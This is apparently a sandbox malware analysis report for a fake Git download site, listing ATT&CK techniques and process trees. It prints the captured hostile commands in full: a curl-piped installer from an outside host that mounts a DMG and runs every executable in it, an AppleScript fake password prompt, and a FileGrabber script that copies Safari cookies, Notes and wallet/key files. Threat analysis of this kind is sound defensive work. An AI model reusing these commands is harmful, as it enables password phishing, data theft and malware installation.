hxxp://git-scm[.]mom

Analysis

max time kernel
192s
max time network
195s
platform
macos-10.15_amd64
resource
macos-20240410-en
resource tags

arch:amd64arch:i386image:macos-20240410-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
31/05/2024, 08:41

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

http://git-scm.mom

Score

7^/10

discovery evasion execution

Malware Config

Signatures

Queries the macOS version information. 1 TTPs 4 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
/usr/bin/sw_vers -productVersion	Process not Found
sh -c sw_vers	Process not Found
sw_vers	Process not Found
/usr/bin/sw_vers -productVersion	Process not Found

System Checks 1 TTPs 2 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

evasion

System Checks

T1497.001

ioc	Process
sh -c "system_profiler SPHardwareDataType"	Process not Found
system_profiler SPHardwareDataType	Process not Found

File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
evasion

File Deletion
T1070.004

AppleScript 1 TTPs 8 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"447743752\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"447743752:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"	Process not Found
osascript -e "set baseFolderPath to (path to home folder as text) & \"447743752\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"447743752:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"	Process not Found
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"	Process not Found
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"	Process not Found

File and Directory Discovery. 1 TTPs 4 IoCs

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

discovery

File and Directory Discovery

T1083

ioc	Process
dirname ../Homebrew/bin/brew	Process not Found
dirname ../Homebrew/bin/brew	Process not Found
dirname ../Homebrew/bin/brew	Process not Found
dirname ../Homebrew/bin/brew	Process not Found

Resource Forking 1 TTPs 9 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

evasion

Resource Forking

T1564.009

ioc	Process
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 78B5B8B8-A83E-466F-9FB5-4E5ABD0413D3	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s1	Process not Found
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper	Process not Found
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 78B5B8B8-A83E-466F-9FB5-4E5ABD0413D3 -post-exec 4	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s1 removable readonly	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s1	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window http://git-scm.mom\""
1⤵
PID:482

/bin/bash
sh -c "sudo /bin/zsh -c \"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window http://git-scm.mom\""
1⤵
PID:482

/usr/bin/sudo
sudo /bin/zsh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window http://git-scm.mom"
1⤵
PID:482
- /bin/zsh
  /bin/zsh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window http://git-scm.mom"
  2⤵
  PID:484
- /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
  "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" "--simulate-outdated-no-au=Tue, 31 Dec 2099" --new-window http://git-scm.mom
  2⤵
  PID:484

/usr/libexec/xpcproxy
xpcproxy com.apple.GameController.gamecontrollerd
1⤵
PID:489

/usr/libexec/gamecontrollerd
/usr/libexec/gamecontrollerd
1⤵
PID:489

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler" "--monitor-self-annotation=ptype=crashpad-handler" "--database=/var/root/Library/Application Support/Google/Chrome/Crashpad" "--metrics-dir=/var/root/Library/Application Support/Google/Chrome" "--url=https://clients2.google.com/cr/report" "--annotation=channel=" "--annotation=plat=OS X" "--annotation=prod=Chrome_Mac" "--annotation=ver=101.0.4951.54" "--handshake-fd=5"
1⤵
PID:491

/usr/bin/profiles
/usr/bin/profiles status -type enrollment
1⤵
PID:493

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"
1⤵
PID:495

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize" com.google.Chrome
1⤵
PID:496

/usr/bin/tar
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist
1⤵
PID:497

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)" "--type=gpu-process" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" "--gpu-preferences=UAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAACIAQAAMAAAAIABAAAAAAAAiAEAAAAAAACQAQAAAAAAAJgBAAAAAAAAoAEAAAAAAACoAQAAAAAAALABAAAAAAAAuAEAAAAAAADAAQAAAAAAAMgBAAAAAAAA0AEAAAAAAADYAQAAAAAAAOABAAAAAAAA6AEAAAAAAADwAQAAAAAAAPgBAAAAAAAAAAIAAAAAAAAIAgAAAAAAABACAAAAAAAAGAIAAAAAAAAgAgAAAAAAACgCAAAAAAAAMAIAAAAAAAA4AgAAAAAAAEACAAAAAAAASAIAAAAAAABQAgAAAAAAAFgCAAAAAAAAYAIAAAAAAABoAgAAAAAAAHACAAAAAAAAeAIAAAAAAACAAgAAAAAAAIgCAAAAAAAAkAIAAAAAAACYAgAAAAAAAKACAAAAAAAAqAIAAAAAAACwAgAAAAAAALgCAAAAAAAAwAIAAAAAAADIAgAAAAAAANACAAAAAAAA2AIAAAAAAADgAgAAAAAAAOgCAAAAAAAA8AIAAAAAAAD4AgAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAHAAAAEAAAAAAAAAAAAAAACAAAABAAAAAAAAAAAAAAAAkAAAAQAAAAAAAAAAAAAAALAAAAEAAAAAAAAAAAAAAADAAAABAAAAAAAAAAAAAAAA4AAAAQAAAAAAAAAAAAAAAPAAAAEAAAAAAAAAABAAAAAAAAABAAAAAAAAAAAQAAAAcAAAAQAAAAAAAAAAEAAAAIAAAAEAAAAAAAAAABAAAACQAAABAAAAAAAAAAAQAAAAsAAAAQAAAAAAAAAAEAAAAMAAAAEAAAAAAAAAABAAAADgAAABAAAAAAAAAAAQAAAA8AAAAQAAAAAAAAAAQAAAAAAAAAEAAAAAAAAAAEAAAABwAAABAAAAAAAAAABAAAAAgAAAAQAAAAAAAAAAQAAAAJAAAAEAAAAAAAAAAEAAAACwAAABAAAAAAAAAABAAAAAwAAAAQAAAAAAAAAAQAAAAOAAAAEAAAAAAAAAAEAAAADwAAABAAAAAAAAAABwAAAAAAAAAQAAAAAAAAAAcAAAAHAAAAEAAAAAAAAAAHAAAACAAAABAAAAAAAAAABwAAAAkAAAAQAAAAAAAAAAcAAAALAAAAEAAAAAAAAAAHAAAADAAAABAAAAAAAAAABwAAAA4AAAAQAAAAAAAAAAcAAAAPAAAAEAAAAAAAAAAIAAAAAAAAABAAAAAAAAAACAAAAAcAAAAQAAAAAAAAAAgAAAAIAAAAEAAAAAAAAAAIAAAACQAAABAAAAAAAAAACAAAAAsAAAAQAAAAAAAAAAgAAAAMAAAAEAAAAAAAAAAIAAAADgAAABAAAAAAAAAACAAAAA8AAAAQAAAAAAAAAAoAAAAAAAAAEAAAAAAAAAAKAAAABwAAABAAAAAAAAAACgAAAAgAAAAQAAAAAAAAAAoAAAAJAAAAEAAAAAAAAAAKAAAACwAAABAAAAAAAAAACgAAAAwAAAAQAAAAAAAAAAoAAAAOAAAAEAAAAAAAAAAKAAAADwAAAAgAAAAAAAAACAAAAAAAAAA=" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=21"
1⤵
PID:499

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=network.mojom.NetworkService" "--lang=en-GB" "--service-sandbox-type=network" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=29"
1⤵
PID:500

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=storage.mojom.StorageService" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=28"
1⤵
PID:501

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)" "--type=utility" "--utility-sub-type=mac_notifications.mojom.MacNotificationProvider" "--lang=en-GB" "--service-sandbox-type=none" --message-loop-type-ui "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072"
1⤵
PID:502

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=7" "--launch-time-ticks=298269128" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=62"
1⤵
PID:503

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=6" "--launch-time-ticks=298314404" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=62"
1⤵
PID:504

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.2100
1⤵
PID:506

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:506
- /usr/bin/login
  login -pf run
  2⤵
  PID:508
- - /bin/zsh
    -zsh
    3⤵
    PID:515
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:517
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:518
  - - /usr/bin/curl
      curl -fsSL https://envydallas.com/git/install.sh
      4⤵
      PID:554
  - - /bin/bash
      bash -c "#!/bin/bash DOWNLOAD_URL=\"https://envydallas.com/git/git_install/git.dmg\" DOWNLOAD_PATH=\"git.dmg\" echo \"Downloading packages...\" curl -o \"\$DOWNLOAD_PATH\" \"\$DOWNLOAD_URL\" MOUNT_OUTPUT=\$(hdiutil attach \"\$DOWNLOAD_PATH\" 2>&1) if echo \"\$MOUNT_OUTPUT\" | grep -q \"no mountable file systems\"; then exit 1 fi MOUNTED_DISK=\$(echo \"\$MOUNT_OUTPUT\" | grep \"/Volumes\" | awk '{print \$NF}') if [ -z \"\$MOUNTED_DISK\" ]; then echo \"Error, reboot the device and try again\" exit 1 fi echo \"\$MOUNTED_DISK\" echo \"Packet check...\" find \"\$MOUNTED_DISK\" -maxdepth 1 -type f -perm -111 -exec echo \"Executable file found: {}\" \\; -exec open {} \\; sleep 10 brew install git"
      4⤵
      PID:555
    - - /usr/bin/curl
        
        curl -o git.dmg https://envydallas.com/git/git_install/git.dmg
        5⤵
        
        PID:556
    - - /usr/bin/grep
        
        grep -q "no mountable file systems"
        5⤵
        
        PID:575
    - - /usr/bin/find
        
        find /Volumes/Git -maxdepth 1 -type f -perm -111 -exec echo "Executable file found: {}" ";" -exec open "{}" ";"
        5⤵
        
        PID:580
      - /usr/local/bin/echo
        
        echo "Executable file found: /Volumes/Git/Git"
        6⤵
        
        PID:581
      - /usr/bin/echo
        
        echo "Executable file found: /Volumes/Git/Git"
        6⤵
        
        PID:581
      - /bin/echo
        
        echo "Executable file found: /Volumes/Git/Git"
        6⤵
        
        PID:581
      - /usr/local/bin/open
        
        open /Volumes/Git/Git
        6⤵
        
        PID:582
      - /usr/bin/open
        
        open /Volumes/Git/Git
        6⤵
        
        PID:582
    - - /bin/sleep
        
        sleep 10
        5⤵
        
        PID:585
  - - /usr/local/bin/brew
      brew install git
      4⤵
      PID:555
  - - /usr/bin/env
      /usr/bin/env -i "HOME=/Users/run" "SHELL=/bin/zsh" "PATH=/usr/bin:/bin:/usr/sbin:/sbin" "TERM=xterm-256color" "LOGNAME=run" "USER=run" "SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.3xYUW1xUJM/Listeners" "HOMEBREW_BREW_FILE=/usr/local/bin/brew" "HOMEBREW_LIBRARY=/usr/local/Homebrew/Library" "HOMEBREW_PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" "HOMEBREW_PREFIX=/usr/local" "HOMEBREW_REPOSITORY=/usr/local/Homebrew" /bin/bash /usr/local/Homebrew/Library/Homebrew/brew.sh install git
      4⤵
      PID:555
  - - /bin/bash
      /bin/bash /usr/local/Homebrew/Library/Homebrew/brew.sh install git
      4⤵
      PID:555
    - - /usr/bin/uname
        
        uname -m
        5⤵
        
        PID:619
    - - /usr/bin/uname
        
        uname -s
        5⤵
        
        PID:620
    - - /usr/bin/locale
        
        locale charmap
        5⤵
        
        PID:621
    - - /usr/bin/sw_vers
        
        /usr/bin/sw_vers -productVersion
        5⤵
        
        PID:642
    - - /usr/bin/id
        
        id -u
        5⤵
        
        PID:678
    - - /bin/cat
        
        cat /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby-version
        5⤵
        
        PID:736
    - - /usr/bin/readlink
        
        readlink /usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/current
        5⤵
        
        PID:737
    - - /usr/local/bin/brew
        
        /usr/local/bin/brew update --preinstall
        5⤵
        
        PID:741
    - - /usr/bin/env
        
        /usr/bin/env -i "HOME=/Users/run" "SHELL=/bin/zsh" "PATH=/usr/bin:/bin:/usr/sbin:/sbin" "TERM=xterm-256color" "LOGNAME=run" "USER=run" "SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.3xYUW1xUJM/Listeners" "HOMEBREW_ANALYTICS_ID=UA-76679469-1" "HOMEBREW_ANALYTICS_USER_UUID=E0EE0CB3-2387-4D1D-AE5D-0C5F1A4A7098" "HOMEBREW_AUTO_UPDATE_CHECKED=1" "HOMEBREW_AUTO_UPDATING=1" "HOMEBREW_BOTTLE_DEFAULT_DOMAIN=https://ghcr.io/v2/homebrew/core" "HOMEBREW_BREW_DEFAULT_GIT_REMOTE=https://github.com/Homebrew/brew" "HOMEBREW_BREW_FILE=/usr/local/bin/brew" "HOMEBREW_BREW_GIT_REMOTE=https://github.com/Homebrew/brew" "HOMEBREW_CACHE=/Users/run/Library/Caches/Homebrew" "HOMEBREW_CELLAR=/usr/local/Cellar" "HOMEBREW_COMMAND_DEPTH=1" "HOMEBREW_CORE_DEFAULT_GIT_REMOTE=https://github.com/Homebrew/homebrew-core" "HOMEBREW_CORE_GIT_REMOTE=https://github.com/Homebrew/homebrew-core" "HOMEBREW_CURL=curl" "HOMEBREW_DEFAULT_CACHE=/Users/run/Library/Caches/Homebrew" "HOMEBREW_DEFAULT_LOGS=/Users/run/Library/Logs/Homebrew" "HOMEBREW_DEFAULT_TEMP=/private/tmp" "HOMEBREW_GIT=git" "HOMEBREW_GIT_CONFIG_FILE=/usr/local/Homebrew/.git/config" "HOMEBREW_LIBRARY=/usr/local/Homebrew/Library" "HOMEBREW_LOGS=/Users/run/Library/Logs/Homebrew" "HOMEBREW_MACOS_VERSION=10.15.1" "HOMEBREW_MACOS_VERSION_NUMERIC=101501" "HOMEBREW_MINIMUM_GIT_VERSION=2.14.3" "HOMEBREW_OS_VERSION=macOS 10.15.1" "HOMEBREW_PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" "HOMEBREW_PREFIX=/usr/local" "HOMEBREW_PROCESSOR=Intel" "HOMEBREW_PRODUCT=Homebrew" "HOMEBREW_REPOSITORY=/usr/local/Homebrew" "HOMEBREW_REQUIRED_RUBY_VERSION=2.6.3" "HOMEBREW_RUBY_PATH=/usr/local/Homebrew/Library/Homebrew/vendor/portable-ruby/current/bin/ruby" "HOMEBREW_RUBY_WARNINGS=-W1" "HOMEBREW_SYSTEM=Macintosh" "HOMEBREW_SYSTEM_CA_CERTIFICATES_TOO_OLD=1" "HOMEBREW_TEMP=/private/tmp" "HOMEBREW_USER_AGENT=Homebrew/3.2.17 (Macintosh; Intel Mac OS X 10.15.1)" "HOMEBREW_USER_AGENT_CURL=Homebrew/3.2.17 (Macintosh; Intel Mac OS X 10.15.1) curl/7.64.1" "HOMEBREW_VERSION=3.2.17" /bin/bash /usr/local/Homebrew/Library/Homebrew/brew.sh update --preinstall
        5⤵
        
        PID:741
    - - /bin/bash
        
        /bin/bash /usr/local/Homebrew/Library/Homebrew/brew.sh update --preinstall
        5⤵
        
        PID:741
      - /usr/bin/uname
        
        uname -m
        6⤵
        
        PID:755
      - /usr/bin/uname
        
        uname -s
        6⤵
        
        PID:756
      - /usr/bin/locale
        
        locale charmap
        6⤵
        
        PID:757
      - /usr/bin/sw_vers
        
        /usr/bin/sw_vers -productVersion
        6⤵
        
        PID:778
      - /usr/bin/id
        
        id -u
        6⤵
        
        PID:814
      - /usr/local/Homebrew/Library/Homebrew/shims/shared/git
        
        /usr/local/Homebrew/Library/Homebrew/shims/shared/git "--homebrew=print-path"
        6⤵
        
        PID:872
      - /Library/Developer/CommandLineTools/usr/bin/git
        
        /Library/Developer/CommandLineTools/usr/bin/git --version
        6⤵
        
        PID:892
      - /usr/bin/ruby
        
        /usr/bin/ruby -e "exit(RUBY_VERSION >= '1.8.7')"
        6⤵
        
        PID:893
        
        /bin/sh
        
        sh -c "xcode-select --print-path >/dev/null 2>&1 && xcrun --sdk macosx --show-sdk-path 2>/dev/null"
        7⤵
        
        PID:894
        
        /bin/bash
        
        sh -c "xcode-select --print-path >/dev/null 2>&1 && xcrun --sdk macosx --show-sdk-path 2>/dev/null"
        7⤵
        
        PID:894
        
        /usr/bin/xcode-select
        
        xcode-select --print-path
        8⤵
        
        PID:895
        
        /usr/bin/xcrun
        
        xcrun --sdk macosx --show-sdk-path
        8⤵
        
        PID:896
      - /usr/bin/ruby
        
        /usr/bin/ruby -e "File.new(200).flock(File::LOCK_EX | File::LOCK_NB) || exit(1)"
        6⤵
        
        PID:899
        
        /bin/sh
        
        sh -c "xcode-select --print-path >/dev/null 2>&1 && xcrun --sdk macosx --show-sdk-path 2>/dev/null"
        7⤵
        
        PID:900
        
        /bin/bash
        
        sh -c "xcode-select --print-path >/dev/null 2>&1 && xcrun --sdk macosx --show-sdk-path 2>/dev/null"
        7⤵
        
        PID:900
        
        /usr/bin/xcode-select
        
        xcode-select --print-path
        8⤵
        
        PID:901
        
        /usr/bin/xcrun
        
        xcrun --sdk macosx --show-sdk-path
        8⤵
        
        PID:902
      - /bin/rm
        
        rm -f /usr/local/Homebrew/.git/UPDATE_FAILED
        6⤵
        
        PID:906
      - /bin/rm
        
        rm -f /usr/local/Homebrew/.git/FAILED_FETCH_DIRS
        6⤵
        
        PID:907
- /usr/bin/login
  login -pf run
  2⤵
  PID:583
- - /bin/zsh
    -zsh
    3⤵
    PID:586
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:587
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:588
  - - /Volumes/Git/Git
      /Volumes/Git/Git
      4⤵
      PID:589

/usr/libexec/xpcproxy
xpcproxy com.apple.SafariLaunchAgent
1⤵
PID:507

/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
1⤵
PID:507

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=8" "--launch-time-ticks=303075939" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=62"
1⤵
PID:510

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=12" "--launch-time-ticks=303094221" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=65"
1⤵
PID:511

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
